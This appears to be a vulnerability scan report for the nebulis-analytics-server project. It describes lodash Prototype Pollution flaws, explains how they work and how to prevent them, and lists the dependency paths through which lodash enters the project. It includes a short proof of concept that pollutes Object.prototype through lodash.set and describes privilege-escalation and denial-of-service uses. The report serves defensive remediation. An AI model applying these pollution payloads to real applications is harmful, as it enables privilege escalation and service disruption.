Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
